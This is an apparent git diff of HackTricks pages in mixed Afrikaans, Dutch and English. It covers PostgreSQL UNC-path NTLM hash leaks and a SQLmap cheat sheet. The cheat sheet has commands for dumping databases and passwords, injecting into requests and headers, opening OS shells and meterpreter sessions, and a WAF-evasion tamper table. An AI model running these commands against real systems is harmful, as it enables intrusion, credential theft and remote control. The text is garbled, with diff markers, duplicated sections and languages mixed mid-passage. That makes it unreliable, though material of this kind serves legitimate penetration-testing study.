Let wel dat **voor** jy in staat is om `dblink_connect` of `dblink_connect_u` te gebruik, jy dalk moet uitvoer:
```
CREATE extension dblink;
```
## UNC-paad - NTLM-hash openbaarmaking
Wanneer een gebruiker zich aanmeldt bij een Windows-systeem dat is geconfigureerd voor NTLM-verificatie, wordt er een NTLM-hash gegenereerd op basis van het wachtwoord van de gebruiker. Deze hash kan worden gebruikt om de identiteit van de gebruiker te verifiëren bij andere systemen die NTLM-verificatie ondersteunen.
In sommige gevallen kan een UNC-pad (Universal Naming Convention) worden gebruikt om toegang te krijgen tot gedeelde bronnen op een netwerk. Wanneer een gebruiker een UNC-pad opent, kan de NTLM-hash van de gebruiker worden blootgesteld aan het netwerk.
Een aanvaller kan deze NTLM-hash onderscheppen en proberen deze te kraken om het oorspronkelijke wachtwoord van de gebruiker te achterhalen. Met het oorspronkelijke wachtwoord kan de aanvaller zich voordoen als de gebruiker en mogelijk toegang krijgen tot andere systemen en bronnen.
Om deze kwetsbaarheid te voorkomen, moeten organisaties ervoor zorgen dat NTLM-verificatie veilig wordt geïmplementeerd en dat er geen onnodige blootstelling van NTLM-hashes plaatsvindt via UNC-paden.
## UNC pad - NTLM hash openbaarstelling
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -113,16 +106,17 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Basiese argumente vir SQLmap
@ -32,9 +33,9 @@ Ander maniere om HackTricks te ondersteun:
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Haal Inligting Op
## Herwin Inligting
### Intern
### Internaal
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -43,16 +44,6 @@ Ander maniere om HackTricks te ondersteun:
--passwords #Get passwords of users in DB
```
### DB data
### DB data
Die `--dump` vlag kan gebruik word om die volledige inhoud van die databasis te onttrek. Dit sal die tabelle en die data binne elke tafel uitvoer. Hier is 'n voorbeeld van hoe om dit te gebruik:
```plaintext
sqlmap -u "http://example.com/page.php?id=1" --dump
```
Dit sal die databasisinligting soos tabelle, kolomme en data uitvoer.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -61,102 +52,24 @@ Dit sal die databasisinligting soos tabelle, kolomme en data uitvoer.
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injeksieplek
# Inspuitplek
## Vanaf Burp/ZAP vaslegging
## Van Burp/ZAP vang
Vasvang die versoek en skep 'n req.txt-lêer
Vang die versoek en skep 'n req.txt lêer
```bash
sqlmap -r req.txt --current-user
```
## Kryversoekinspuiting
GET-versoekinspuiting is 'n tegniek wat gebruik word om SQL-injeksie aanvalle uit te voer deur spesifieke parameters in 'n GET-versoek te manipuleer. Hierdie tegniek maak gebruik van die kwesbaarheid van swak invoerverifikasie in webtoepassings wat die invoerparameters nie behoorlik ontsmet nie.
### SQLMap
SQLMap is 'n kragtige outomatiese SQL-injeksiehulpmiddel wat gebruik kan word om SQL-injeksie aanvalle uit te voer op webtoepassings. Dit kan gebruik word om die kwesbaarhede in 'n webtoepassing te identifiseer en die databasisinligting te onttrek.
### SQL-injeksie in 'n GET-versoek
By die uitvoer van 'n SQL-injeksie aanval in 'n GET-versoek, word die aanvaller in staat gestel om kwaadwillige SQL-kode in te voer deur die URL-parameters te manipuleer. Hierdie kwaadwillige kode kan gebruik word om die databasis te ondersoek, data te verander of selfs die hele databasis te vernietig.
### Identifisering van SQL-injeksie in 'n GET-versoek
Om SQL-injeksie in 'n GET-versoek te identifiseer, kan jy gebruik maak van hulpmiddels soos SQLMap. Hierdie hulpmiddels sal die webtoepassing skandeer vir moontlike kwesbaarhede en die resultate aan jou verskaf.
### Voorkoming van SQL-injeksie in 'n GET-versoek
Om SQL-injeksie in 'n GET-versoek te voorkom, is dit belangrik om behoorlike invoerverifikasie en ontsmetting van die URL-parameters te implementeer. Dit kan gedoen word deur die gebruik van parameterisering of die gebruik van 'n ORM (Object-Relational Mapping) raamwerk wat die invoerparameters behoorlik ontsmet.
## GET Versoek Inspuiting
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST Aanvraag Injeksie
In sommige gevallen kan het nodig zijn om SQL-injectie uit te voeren op een POST-verzoek in plaats van een GET-verzoek. Dit kan voorkomen wanneer de doelwebsite gevoelige gegevens verzendt via een POST-verzoek, zoals inloggegevens of andere vertrouwelijke informatie.
Om SQL-injectie op een POST-verzoek uit te voeren, kan de tool SQLMap worden gebruikt. SQLMap is een krachtige tool die specifiek is ontworpen voor het automatiseren van SQL-injectieaanvallen.
Om SQLMap te gebruiken voor het uitvoeren van een SQL-injectie op een POST-verzoek, moet je de volgende stappen volgen:
1. Identificeer het doel-POST-verzoek: Gebruik een proxytool zoals Burp Suite om het POST-verzoek te onderscheppen en te analyseren. Identificeer de parameters die worden verzonden via het POST-verzoek.
2. Gebruik SQLMap met de juiste opties: Voer het volgende commando uit om SQLMap te gebruiken voor het uitvoeren van een SQL-injectie op een POST-verzoek:
```
sqlmap -u "URL" --data "PARAMETERS" --method POST
```
Vervang "URL" door de URL van het doelwit en "PARAMETERS" door de parameters die zijn geïdentificeerd in stap 1.
3. Analyseer de resultaten: SQLMap zal automatisch proberen SQL-injectie uit te voeren op de opgegeven parameters. Analyseer de resultaten om te zien of er een succesvolle SQL-injectie is gevonden.
Het uitvoeren van SQL-injectie op een POST-verzoek kan complexer zijn dan op een GET-verzoek, omdat je rekening moet houden met de manier waarop de parameters worden verzonden en verwerkt door de doelwebsite. Het is belangrijk om de juiste opties en instellingen te gebruiken bij het gebruik van SQLMap om de beste resultaten te behalen.
## POST Versoek Inspuiting
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injeksies in Koppe en ander HTTP Metodes
### Introduction
### Inleiding
In addition to injecting payloads in the URL parameters and the request body, it is also possible to inject payloads in the headers and other HTTP methods. This can be useful in scenarios where the application relies heavily on headers or when other HTTP methods are used for data manipulation.
Naas die inspuiting van payloads in die URL-parameters en die versoekliggaam, is dit ook moontlik om payloads in die koppe en ander HTTP-metodes in te spuit. Dit kan nuttig wees in situasies waar die toepassing sterk afhanklik is van koppe of wanneer ander HTTP-metodes gebruik word vir data-manipulasie.
### Injection in Headers
### Insuiting in Koppe
Headers are an important part of an HTTP request and can contain valuable information. By injecting payloads in headers, an attacker can manipulate the behavior of the application or extract sensitive data.
Koppe is 'n belangrike deel van 'n HTTP-versoek en kan waardevolle inligting bevat. Deur payloads in koppe in te spuit, kan 'n aanvaller die gedrag van die toepassing manipuleer of sensitiewe data onttrek.
To perform injection in headers, you can use tools like Burp Suite or manually modify the headers using browser extensions like ModHeader.
Om inspuiting in koppe uit te voer, kan jy gereedskap soos Burp Suite gebruik of die koppe handmatig wysig deur gebruik te maak van blaaieruitbreidings soos ModHeader.
### Injection in Other HTTP Methods
### Insuiting in Ander HTTP Metodes
Apart from the commonly used GET and POST methods, there are other HTTP methods like PUT, DELETE, OPTIONS, etc. These methods can also be vulnerable to injection attacks.
Afgesien van die algemeen gebruikte GET- en POST-metodes, is daar ander HTTP-metodes soos PUT, DELETE, OPTIONS, ens. Hierdie metodes kan ook vatbaar wees vir inspuitingsaanvalle.
To perform injection in other HTTP methods, you can use tools like curl or modify the request manually using programming languages like Python.
Om inspuiting in ander HTTP-metodes uit te voer, kan jy gereedskap soos curl gebruik of die versoek handmatig wysig deur gebruik te maak van programmeertaal soos Python.
### Conclusion
### Gevolgtrekking
Injecting payloads in headers and other HTTP methods can provide additional attack vectors for an attacker. It is important to thoroughly test the application for vulnerabilities in these areas to ensure its security.
Die inspuiting van payloads in koppe en ander HTTP-metodes kan addisionele aanvalsvektore vir 'n aanvaller bied. Dit is belangrik om die toepassing deeglik te toets vir kwesbaarhede in hierdie areas om die veiligheid daarvan te verseker.
## Inspuitings in Headers en ander HTTP Metodes
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -171,29 +84,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Tweede orde inspuiting
Second order injection, ook bekend als tweede orde SQL-injectie, is een geavanceerde techniek die wordt gebruikt om kwetsbaarheden in een webtoepassing te misbruiken. In tegenstelling tot traditionele SQL-injectie, waarbij de aanvaller directe controle heeft over de query, maakt tweede orde injectie gebruik van de functionaliteit van de applicatie om later een aanval uit te voeren.
Het basisidee achter tweede orde injectie is om gegevens in de database in te voegen die later worden gebruikt in een query. Dit kan bijvoorbeeld gebeuren wanneer een gebruiker gegevens invoert die worden opgeslagen in de database en later worden opgehaald en gebruikt in een query zonder de juiste beveiligingscontroles.
Om tweede orde injectie uit te voeren, moet de aanvaller eerst een kwetsbaarheid vinden in de applicatie die het mogelijk maakt om gegevens in de database in te voegen. Vervolgens moet de aanvaller wachten tot de geïnjecteerde gegevens worden gebruikt in een query. Op dat moment kan de aanvaller de geïnjecteerde gegevens manipuleren om de query te wijzigen en kwaadaardige acties uit te voeren, zoals het ophalen van gevoelige gegevens of het wijzigen van de database.
Tweede orde injectie kan moeilijker te detecteren en te exploiteren zijn dan traditionele SQL-injectie, omdat de aanvaller moet wachten tot de geïnjecteerde gegevens worden gebruikt in een query. Het vereist ook een grondige kennis van de applicatie en de databasestructuur om de juiste manipulaties uit te voeren.
Om tweede orde injectie te voorkomen, is het belangrijk om de juiste beveiligingscontroles toe te passen bij het verwerken van gebruikersinvoer en het opstellen van query's. Dit omvat het gebruik van parameterbinding, het valideren en filteren van gebruikersinvoer en het beperken van de rechten van de databasegebruiker.
Tweede orde injectie is een geavanceerde techniek die vaak wordt gebruikt door ervaren aanvallers. Het begrijpen van deze techniek kan helpen bij het identificeren en beveiligen van kwetsbaarheden in webtoepassingen.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Skulp
Die **Shell** is 'n program wat gebruik word om met die bedryfstelsel te kommunikeer. Dit bied 'n gebruikersvriendelike omgewing waarin gebruikers opdragte kan uitvoer en met die bedryfstelsel kan interaksie hê. Die Shell kan ook gebruik word om programme te skryf en uit te voer.
In die konteks van hacking, kan die Shell gebruik word om toegang tot 'n gehackte stelsel te verkry en beheer oor die stelsel te neem. Dit kan gebruik word om verskeie opdragte uit te voer, lêers te skep en te verwyder, data te manipuleer, en selfs om 'n backdoor te skep vir toekomstige toegang.
Die Shell is 'n kragtige instrument vir 'n hacker en kan gebruik word om verskeie aanvalstegnieke uit te voer, soos die uitvoering van skadelike kode, die verkryging van vertroulike inligting, en die uitvoer van ander hacking-aktiwiteite. Dit is belangrik vir 'n hacker om 'n goeie begrip van die Shell te hê en hoe om dit effektief te gebruik.
## Skulpin
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -204,21 +99,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Kruip 'n webwerf met SQLmap en outomatiese uitbuiting
Om 'n webwerf te kruip en outomaties uit te buit met SQLmap, kan jy die volgende stappe volg:
1. Voer die volgende bevel in om SQLmap te begin:
```
sqlmap -u <URL> --crawl=3 --batch
```
Hierdie bevel sal SQLmap begin en die opgegee URL gebruik om die webwerf te kruip. Die `--crawl=3` vlag dui aan dat SQLmap tot 'n diepte van 3 vlakke moet kruip. Die `--batch` vlag verseker dat SQLmap outomaties sal werk sonder om gebruikersinteraksie te vereis.
2. SQLmap sal begin om die webwerf te kruip en sal soek na enige SQL-injeksiekwessies. As 'n kwessie gevind word, sal SQLmap dit outomaties probeer uitbuit.
3. As SQLmap 'n suksesvolle uitbuiting uitvoer, sal dit die relevante inligting vertoon, soos die SQL-instrukisie wat uitgevoer is en die verkryde data.
Dit is belangrik om te onthou dat die gebruik van SQLmap om 'n webwerf te kruip en uit te buit slegs toegelaat word met toestemming van die eienaar van die webwerf. Onwettige gebruik van hierdie tegniek kan lei tot regskonsekwensies.
## Krap 'n webwerf met SQLmap en outomatiese eksploitasie
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -226,13 +107,9 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Stel 'n agtervoegsel in
# Pas Injectie Aan
By die gebruik van die `--suffix` vlag in SQLMap, kan jy 'n agtervoegsel spesifiseer wat by die einde van elke SQL-injeksiepoging gevoeg moet word. Hierdie agtervoegsel kan gebruik word om die SQL-injeksie-aanval te personaliseer en spesifieke gedrag te veroorsaak.
Byvoorbeeld, as jy die agtervoegsel `--suffix=' AND 1=1'` spesifiseer, sal SQLMap die SQL-injeksiepogings aanpas deur die `AND 1=1`-voorwaarde by die einde van elke poging te voeg. Hierdie voorwaarde sal altyd waar wees, wat beteken dat die SQL-injeksie-aanval altyd suksesvol sal wees.
Dit kan nuttig wees om 'n agtervoegsel te gebruik om spesifieke gedrag te veroorsaak, soos die omseil van sekuriteitsmaatreëls of die verkryging van spesifieke inligting.
## Stel 'n agtervoegsel in
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
@ -241,104 +118,77 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Help om booleaanse inspuiting te vind
Boolean inspuiting is een techniek die wordt gebruikt om SQL-injectieaanvallen uit te voeren door gebruik te maken van booleaanse logica. Met deze techniek kunnen aanvallers informatie verkrijgen door waarheids- of valsheidswaarden te manipuleren in SQL-query's.
Om booleaanse inspuiting te vinden, kunt u de volgende stappen volgen:
1. Identificeer de invoervelden op de doelwebsite die mogelijk vatbaar zijn voor SQL-injectie.
2. Voer een eenvoudige test uit door een enkel aanhalingsteken (') in te voeren in de invoervelden en te controleren op foutmeldingen of onverwacht gedrag. Als er een foutmelding wordt weergegeven, kan dit duiden op een mogelijke SQL-injectiekwetsbaarheid.
3. Probeer de waarheids- of valsheidswaarden in de SQL-query te manipuleren door gebruik te maken van logische operatoren zoals AND, OR en NOT. Bijvoorbeeld: ' OR 1=1 --.
4. Observeer het gedrag van de applicatie. Als de applicatie anders reageert op verschillende invoerwaarden, kan dit wijzen op een booleaanse inspuitingskwetsbaarheid.
5. Gebruik geautomatiseerde tools zoals SQLMap om de booleaanse inspuiting verder te verkennen en te exploiteren. SQLMap kan verschillende technieken en payloads gebruiken om de kwetsbaarheid te identificeren en gegevens te extraheren.
Het is belangrijk om op te merken dat het uitvoeren van SQL-injectieaanvallen zonder toestemming illegaal is. Zorg ervoor dat u altijd toestemming heeft van de eigenaar van het doelsysteem voordat u dergelijke technieken toepast.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Versteur
Tampering is a technique used in SQL injection attacks to modify the behavior of the SQL injection tool, such as SQLMap, in order to bypass security measures and successfully exploit vulnerabilities.
Tampering involves altering the payload sent to the target application in a way that evades detection or manipulation by security mechanisms, such as Web Application Firewalls (WAFs) or Input Validation filters.
SQLMap provides a variety of tamper scripts that can be used to modify the SQL injection payload. These tamper scripts are designed to obfuscate or modify the injected SQL code in order to bypass security controls.
Tamper scripts can be specified using the `--tamper` option in SQLMap. For example, the following command uses the `apostrophemask` tamper script:
```
sqlmap -u http://example.com/vulnerable.php?id=1 --tamper=apostrophemask
```
This tamper script replaces single quotes (') with their URL-encoded equivalent (%27) to bypass input validation filters that may be looking for this specific character.
By using tamper scripts, SQLMap can evade detection and successfully exploit SQL injection vulnerabilities in target applications. It is important to note that tampering should be used responsibly and with proper authorization during penetration testing engagements.
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Beskrywing |
| Tamper | Description |
| :--- | :--- |
| apostrophemask.py | Vervang die apostroofkarakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang die apostroofkarakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg 'n gekodeerde NULL-byte karakter by die einde van die payload |
| base64encode.py | Base64 alle karakters in 'n gegewe payload |
| between.py | Vervang die groter as operator \('&gt;'\) met 'NIET TUSSEN 0 EN \#' |
| bluecoat.py | Vervang die spasiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervang daarna die karakter = met die LIKE operator |
| chardoubleencode.py | Dubbel url-kodeer alle karakters in 'n gegewe payload \(sonder om reeds gekodeer te verwerk\) |
| commalesslimit.py | Vervang voorkomste soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorkomste soos 'MID\(A, B, C\)' met 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Vervang voorkomste soos 'CONCAT\(A, B\)' met 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-kodeer alle karakters in 'n gegewe payload \(sonder om reeds gekodeer te verwerk\) |
| charunicodeencode.py | Kodeer Unicode-url nie-gekodeerde karakters in 'n gegewe payload \(sonder om reeds gekodeer te verwerk\). "%u0022" |
| charunicodeescape.py | Kodeer Unicode-url nie-gekodeerde karakters in 'n gegewe payload \(sonder om reeds gekodeer te verwerk\). "\u0022" |
| equaltolike.py | Vervang alle voorkomste van die gelyk operator \('='\) met die operator 'LIKE' |
| escapequotes.py | Slas ontsnap aan aanhalingstekens \(' en "\) |
| greatest.py | Vervang die groter as operator \('&gt;'\) met die 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg 'n versie MySQL-kommentaar voor elke sleutelwoord by |
| ifnull2ifisnull.py | Vervang voorkomste soos 'IFNULL\(A, B\)' met 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Sluit die volledige navraag in met 'n versiekommentaar |
| modsecurityzeroversioned.py | Sluit die volledige navraag in met 'n nul-versiekommentaar |
| multiplespaces.py | Voeg veelvuldige spasies by rondom SQL-sleutelwoorde |
| nonrecursivereplacement.py | Vervang voorafbepaalde SQL-sleutelwoorde met verteenwoordigings wat geskik is vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter in |
| overlongutf8.py | Omskakel alle karakters in 'n gegewe payload \(sonder om reeds gekodeer te verwerk\) |
| randomcase.py | Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde |
| randomcomments.py | Voeg lukrake kommentaar by SQL-sleutelwoorde |
| securesphere.py | Voeg 'n spesiaal vervaardigde string by |
| sp\_password.py | Voeg 'sp\_password' by die einde van die payload vir outomatiese verduistering vanaf DBMS-logboeke |
| space2comment.py | Vervang spasiekarakter \(' '\) met kommentaar |
| space2dash.py | Vervang spasiekarakter \(' '\) met 'n streepkommentaar \('--'\) gevolg deur 'n lukrake string en 'n nuwe lyn \('\n'\) |
| space2hash.py | Vervang spasiekarakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n lukrake string en 'n nuwe lyn \('\n'\) |
| space2morehash.py | Vervang spasiekarakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n lukrake string en 'n nuwe lyn \('\n'\) |
| space2mssqlblank.py | Vervang spasiekarakter \(' '\) met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mssqlhash.py | Vervang spasiekarakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2mysqlblank.py | Vervang spasiekarakter \(' '\) met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mysqldash.py | Vervang spasiekarakter \(' '\) met 'n streepkommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2plus.py | Vervang spasiekarakter \(' '\) met plus \('+'\) |
| space2randomblank.py | Vervang spasiekarakter \(' '\) met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters |
| symboliclogical.py | Vervang AND- en OR-logiese operatore met hul simboliese teenhangers \(&& en |
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload |
| base64encode.py | Base64 al karakters in 'n gegewe payload |
| between.py | Vervang groter as operator \('&gt;'\) met 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige willekeurige leë karakter. Daarna vervang karakter = met LIKE operator |
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorbeelde soos 'MID\(A, B, C\)' met 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT\(A, B\)' met 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "%u0022" |
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "\u0022" |
| equaltolike.py | Vervang alle voorkomste van operator gelyk \('='\) met operator 'LIKE' |
| escapequotes.py | Skuil aanhalingstekens \(' en "\) |
| greatest.py | Vervang groter as operator \('&gt;'\) met 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg geversioneerde MySQL kommentaar voor elke sleutelwoord by |
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL\(A, B\)' met 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Omhels volledige navraag met geversioneerde kommentaar |
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met voorstellings geskik vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter by |
| overlongutf8.py | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
| randomcase.py | Vervang elke sleutelwoord karakter met willekeurige kaswaarde |
| randomcomments.py | Voeg willekeurige kommentaar by SQL sleutelwoorde |
| securesphere.py | Voeg spesiaal saamgestelde string by |
| sp\_password.py | Voeg 'sp\_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
| space2comment.py | Vervang spasie karakter \(' '\) met kommentaar |
| space2dash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
| space2hash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
| space2morehash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mssqlhash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mysqldash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2plus.py | Vervang spasie karakter \(' '\) met plus \('+'\) |
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhanger \(&& en |
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
| unmagicquotes.py | Vervang aanhalingstekenkarakter \('\) met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde \(om dit te laat werk\) |
| uppercase.py | Vervang elke sleutelwoordkarakter met 'n hoofletterwaarde 'INSERT' |
| varnish.py | Voeg 'n HTTP-kop 'X-originating-IP' by |
| versionedkeywords.py | Sluit elke nie-funksie sleutelwoord in met 'n versie MySQL-kommentaar |
| versionedmorekeywords.py | Sluit elke sleutelwoord in met 'n versie MySQL-kommentaar |
| xforwardedfor.py | Voeg 'n vals HTTP-kop 'X-Forwarded-For' by |
| unmagicquotes.py | Vervang aanhaling karakter \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
| varnish.py | Voeg 'n HTTP koptekst 'X-originating-IP' by |
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar |
